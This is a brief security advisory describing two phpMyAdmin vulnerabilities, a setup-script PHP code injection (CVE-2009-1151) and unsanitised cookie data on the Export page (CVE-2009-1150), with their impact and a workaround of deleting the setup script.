(phpMyAdmin: Multiple vulnerabilities)

    Multiple vulnerabilities have been reported in phpMyAdmin:
    Greg Ose discovered that the setup script does not sanitize input
    properly, leading to the injection of arbitrary PHP code into the
    configuration file (CVE-2009-1151).
    Manuel Lopez Gallego and
    Santiago Rodriguez Collazo reported that data from cookies used in the
    'Export' page is not properly sanitized (CVE-2009-1150).
  
Impact :

    A remote unauthorized attacker could exploit the first vulnerability to
    execute arbitrary code with the privileges of the user running
    phpMyAdmin and conduct Cross-Site Scripting attacks using the second
    vulnerability.
  
Workaround :

    Removing the 'scripts/setup.php' file protects you from CVE-2009-1151."
